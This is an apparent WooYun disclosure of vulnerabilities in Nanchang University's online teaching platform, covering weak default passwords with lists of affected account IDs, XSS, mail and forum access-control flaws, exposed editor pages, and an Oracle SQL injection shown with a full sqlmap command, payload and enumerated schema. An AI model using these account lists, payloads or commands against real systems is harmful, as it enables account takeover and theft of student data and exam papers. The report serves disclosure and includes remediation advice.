当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0167232

漏洞标题:南昌大学网络教学综合平台漏洞合集 可看期末试卷哦

相关厂商:南昌大学

漏洞作者: 孤独的小船

提交时间:2016-01-04 16:22

修复时间:2016-02-12 18:49

公开时间:2016-02-12 18:49

漏洞类型:XSS 跨站脚本攻击

危害等级:高

自评Rank:16

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-01-04: 细节已通知厂商并且等待厂商处理中
2016-01-04: 厂商已经确认,细节仅向厂商公开
2016-01-14: 细节向核心白帽子及相关领域专家公开
2016-01-24: 细节向普通白帽子公开
2016-02-03: 细节向实习白帽子公开
2016-02-12: 细节向公众公开

简要描述:

南昌大学网络教学综合平台是全校七万多师生每学期都需要用到的一个重要的网络平台,老师布置的作业、问题的交流有时候都会在上面进行。里面内容也是蛮丰富的。总体这个系统还是给我们提供了很大便利的。

详细说明:

一、师生账号密码的弱口令。随手试了下几个教师账号,登陆成功,看了下公告

QQ截图20151220124017.jpg

然后测试发现有部分教师账号的密码是123456,大量学生的密码就是账号。学生的没意思,以下是用固定密码123456爆破出来的网络教学平台的部分老师账号:

theol_teacher
test
123
111111
111233
021
025
027
031
034
037
040
1000
1008
1031
1101
1177
1227
1231
1273
1270
1407
1412
1569
2040
2242
2069
3016
3017
3044
4362
4304
4467
4494
4614
4740
4810
4892
4951
5176
8453
9871
11126
11044
12096
23021
23031
23009
24040
24076
25038
26013
26017
27004
29033
31036
31053
31088
fuzz得到一些学校领导人的账号
00001
00003
00004
00005
00007
00008
00009
00012-18
00051
00055
00059
00062
只加载了一点点用户字典,不一一列举了,密码就是账号,和账号相同。


online's usr,pwd.jpg


acc.jpg


登了个权限比较大的抚医的账号,眼前大亮

1试卷.png


2作业统计分析.png


3试卷库维护.png


4试卷详细信息.png


二、进去之后,发现到处都是XSS啊。
那就按左边的导航栏的顺序来讲吧

11111.jpg


1. 教学博客的反射型xss(自己给自己弹,鸡肋。。)

boke.jpg

boke2.jpg


tan.jpg


2. 接下来就是所有人都可看见的博客文章评论处存储型xss了

2.jpg


3.jpg


3. 然后是日程安排:

4.jpg


5.jpg


添加事件处

添加事件.jpg


这里可以当作一个后门用吧。。
另外“检索日程安排”处的搜索框有注入,输入错的语句则提示ORA:SQL语句未正确结束。

9.jpg


4.接下来是传播范围很广的收发邮件了。
写一封邮件

mail.jpg


发送,查看下收件箱发的这封邮件

shoujianren.jpg


邮件正文xss:
邮件正文插入script代码后编辑器会自动转义成>之类的(希望这里没被乌云的编辑器转义-.-),但是我们可以通过抓包改回来,如图

burp.jpg


点击邮件

zhengwenxss.jpg


两个都成功弹窗。现在发封邮件给想要的老师就可以上老师的号了。
5. 然后是“网上讨论区”,先修改自己的信息,加入个弹窗的,然后点“在线用户”

ttttt.jpg


弹个窗,这个只要我在线,所有点了查看在线用户的用户都会被xss了。

IP.jpg


选择添加好友,可以直接发一个带xss的添加好友信息给对方
6. 教师信息

Info.jpg


7. 个人资源

15.jpg


14.jpg


8. 右上方的教学播客、资源中心、课程联盟点进去的清华教育在线**.**.**.**)->推荐课程等的评价处都可以直接打xss代码的,这个是面向全国多所高校。访问人数少危害小,有点累赘不列举了
三、教学邮件存在越权访问,可看师生任意邮件

http://**.**.**.**/eol/common/mail/mail.jsp?from=sent&mailID=650964


这里只检查了用户是否登陆,而没有校验访问时的session是否是发/收件人的。这个很严重,通过遍历所有邮件ID可以提前 看!考!卷!而且这样看不通过登陆老师账号来操作,悄无声息地直接下载。。

shijuan.jpg


http://**.**.**.**/eol/common/mail/mail.jsp?from=sent&mailID=650964


222222.jpg


四、论坛多处存在越权访问
1. 直接以论坛管理员权限设置论坛

taolunqu.jpg


ban.jpg

哈哈哈这里把管理员自己给封禁了
2. 通过改forumid可以设置任意用户/组的权限

http://**.**.**.**/eol/common/forum/admin/permmanage.jsp?forumid=5960


hechang.jpg


3. 这两处通过改变username的值可以看存不存在用户名,为后面的爆破账号密码作铺垫

**.**.**.**/eol/common/forum/admin/add_userperm_do.jsp?forumid=5965&type=ban&username=admin
**.**.**.**/eol/common/forum/forum/add_favorate_do.jsp?comm=1&id=0&type=friend&username=


也可以用乌云之前一篇文章的 首页->任课教师->教师查询框输入%号会显示全部任课教师。
4. 在未登录情况下访问

http://**.**.**.**/eol/common/forum/forum/friends.jsp


会显示管理员的所有好友并可以修改管理员好友的说明。

friend.jpg


五、网站风险目录文件
时间关系只简单的扫描了下子目录,有没用的fckeditor编辑器,有些页面还可以上传文件。直接POST文件到服务器没试。还有个不用登陆就可访问的ckeditor编辑器。部分网页

http://**.**.**.**/eol/common/fckeditor/editor/filemanager/browser/default/browser.html
http://**.**.**.**/eol/common/fckeditor/editor/filemanager/browser/default/frmupload.html
http://**.**.**.**/eol/common/fckeditor/editor/filemanager/upload/test.html
http://**.**.**.**/eol/common/fckeditor/editor/fckdialog.html
http://**.**.**.**/eol/common/fckeditor/editor/fckeditor.html


六、SQL注入漏洞(高危)
首先是一些搜索框可以POST注入。首页的搜索框随便输个单引号、数据库语句去就会出错,另外参考了下乌云里的文章,在一些查询框发现了可以POST注入。
地址http://**.**.**.**/eol/common/script/search.jsp?folderid=0&groupid=4&lid=1

sqlmap -u "http://**.**.**.**/eol/common/script/search.jsp?folderid=0&groupid=4&lid=1" --data "search=true&keyword=123&field=1&restype=0&chapter=0&section=0&knowledgeunit=0" --dbs
[22:22:31] [INFO] POST parameter 'keyword' is 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' injectable
...
sqlmap identified the following injection points with a total of 936 HTTP(s) requests:
---
Place: POST
Parameter: keyword
Type: error-based
Title: Oracle AND error-based - WHERE or HAVING clause (XMLType)
Payload: search=true&keyword=123') AND 6283=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(112)||CHR(109)||CHR(103)||CHR(58)||(SELECT (CASE WHEN (6283=6283) THEN 1 ELSE 0 END) FROM DUAL)||CHR(58)||CHR(103)||CHR(99)||CHR(110)||CHR(58)||CHR(62))) FROM DUAL) AND ('agkQ'='agkQ&field=1&restype=0&chapter=0&section=0&knowled geunit=0
---
[22:25:41] [INFO] the back-end DBMS is Oracle
web application technology: Apache 2.2.23, JSP
back-end DBMS: Oracle
[22:25:41] [WARNING] schema names are going to be used on Oracle for enumeration as the counterpart to database names on other DBMSes
[22:25:41] [INFO] fetching database (schema) names
[22:25:41] [INFO] the SQL query used returns 11 entries
[22:25:41] [INFO] retrieved: DBSNMP
[22:25:42] [INFO] retrieved: OUTLN
[22:25:42] [INFO] retrieved: RESV3
[22:25:42] [INFO] retrieved: SYS
[22:25:43] [INFO] retrieved: SYSTEM
[22:25:43] [INFO] retrieved: THEOLENV
[22:25:43] [INFO] retrieved: THEOLENV20150302
[22:25:44] [INFO] retrieved: THEOLFVOD
[22:25:44] [INFO] retrieved: TMP1
[22:25:44] [INFO] retrieved: TSMSYS
[22:25:45] [INFO] retrieved: WMSYS
available databases [11]:
[*] DBSNMP
[*] OUTLN
[*] RESV3
[*] SYS
[*] SYSTEM
[*] THEOLENV
[*] THEOLENV20150302
[*] THEOLFVOD
[*] TMP1
[*] TSMSYS
[*] WMSYS


首页.jpg


11.jpg


SQL1.jpg


数据库

SQL2.jpg


表段
顺便贴出THEOLENV20150302库的少部分表(不是正使用中的THEOLENV库)

Database:THEOLENV20150302
[282 tables]
+--------------------------------+
| EOL_DITMP_CP_TERM |
| EOL_DITMP_CP_TITLE |
| EOL_DITMP_CURRICULUM_COURSE |
| EOL_DITMP_CURRICULUM_INFO |
| EOL_DITMP_MAJOR |
| EOL_DITMP_USER_STUDENT |
| EOL_DITMP_USER_TEACHER |
| EOL_DI_LOG |
| EOL_DI_STATUS |
| EOL_DT_AFFAIRINFO |
| EOL_DT_MAJOR |
| EOL_DT_STATUS |
| EOL_DT_USER_STUDENT |
| EOL_DT_USER_TEACHER |
| EOL_EDUADMIN |
| EOL_EXAM_EXAM |
| EOL_EXAM_EXAMANSWER |
| EOL_EXAM_EXAMPAPER_ANS |
| EOL_EXAM_EXAMQUESTIONS |
| EOL_EXAM_EXAMQUESTIONS_ANS |
| EOL_EXAM_FILEPAPER |
| EOL_EXAM_PAPER |
| EOL_EXAM_PAPEREXAM |
| EOL_EXAM_QUESTION |
| EOL_EXAM_QUESTIONEXAM |
| EOL_EXAM_SELECTITEM |
| EOL_FORUM |
| EOL_MAJOR_RES |
| EOL_NOTEBOOK |
| EOL_STUDENT |
| EOL_TEACHER |
| EOL_TEST |
| EOL_TEST_ANSWER |
| EOL_USER |
| EOL_USERLESSONSTAT |
| EOL_USERSTAT |
| EXPERIMENT_APPLYSESSION |
| EXPERIMENT_APPLYSESSION_INFO |
| HQ2THEOL_CHAPTER |
| HQ2THEOL_COURSE |
| HQ2THEOL_COURSE_CONTENT_DIR |
| HQ2THEOL_COURSE_CONTENT_FILE |
| HQ2THEOL_DEPARTMENT |
| HQ2THEOL_ELA_COURSE |
| HQ2THEOL_ELA_COURSE_COLUMN |
| HQ2THEOL_TEACHER |
| HW_STAT |
| IP_ADDRESS |
| IP_ADDRESS_GROUP |
| ISSUE_GROUP |
| ISSUE_INFORMATION |
| ISSUE_USER_INDEX_SCORE |
| ISSUE_USER_SCORE |
| MAJOR |
| MAJOR_APPLYSESSION |
| MAJOR_APPLYSESSION_INFO |
| MAJOR_COLUMN_RECORD |
| MAJOR_INFO |
| MAJOR_PUBCOURSE |
| MNOTEBOOK |
| MODULE |
| MOPERATION_LOG |
| MRESOURCE |
| MRES_CLASS |
| NOTEBOOK |
| OPERATIONVOCB |
| OPERATION_LOG |
| RESPUSH_SYSTEM |
| RES_CLASS |
| ROLE |
| TABLE_COLUMN |
| TEMP_COURSE |
| TEMP_COURSE_TEACHER |
| TEMP_COURSE_TEACHER_TEACHER |
| TEMP_OK |
| TEMP_TEACHER |
| THEOL_FILES |
| THEOL_HOMEWORK |
| THEOL_HOMEWORK_ANSWER |
| THEOL_HW |
| THEOL_HW_ANSWER |
| THEOL_HW_QUESTION |
| THEOL_PASSWORDFINDER |
| THEOL_USER |
| TH_FORUM_FAVORITE |
| TH_FORUM_FORUM |
| TH_FORUM_GROUP |
| TH_FORUM_LOG |
| TH_FORUM_MANAGER |
| TH_FORUM_USER |
| TH_INFORELEASE_KEYWORD |
| TH_MAIL_CONTACT |
| TH_MAIL_PROPERTY |
| TMP |
| TMP2015 |
| TMP_EMPTY_COURSE |
| USER_STUDENT |
| USER_TEACHER |
| USER_VALUE |
+--------------------------------+


USERS字段.jpg


字段

shuju.jpg


放张user数据哈。我记得USER表一共是12万多条老师学生的账号密码数据,这里只dump出了前1%的数据观摩下。。密码居然直接是明文存储的。
嗯就这些了,最近大作业赶得紧没那么多时间来搞这个了。本来圣诞节前就打算在这里写完这些漏洞的,因为各种事一直拖到现在。。漏洞赶紧补上,希望不要被一些人拿来用作不正当目的了。

漏洞证明:

如上。

修复方案:

强制首次登陆后须修改密码,或把账号改成教师的中文名字,或者是限制单个IP短时间内的HTTP数据包提交数。这样就难以爆破了。
各地方的输入框、查询框全部做好过滤。
做好权限审核。
删除没用的编辑器、文件
注入的过滤掉关键字。官方或其他权威机构发布了补丁的话去补上吧,不然就搞个防注入系统,简单省事。
其他的对症下药喽。
(注:弹窗、xss代码等都已删除。)

版权声明:转载请注明来源 孤独的小船@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2016-01-04 16:41

厂商回复:

通知处理中

最新状态:

暂无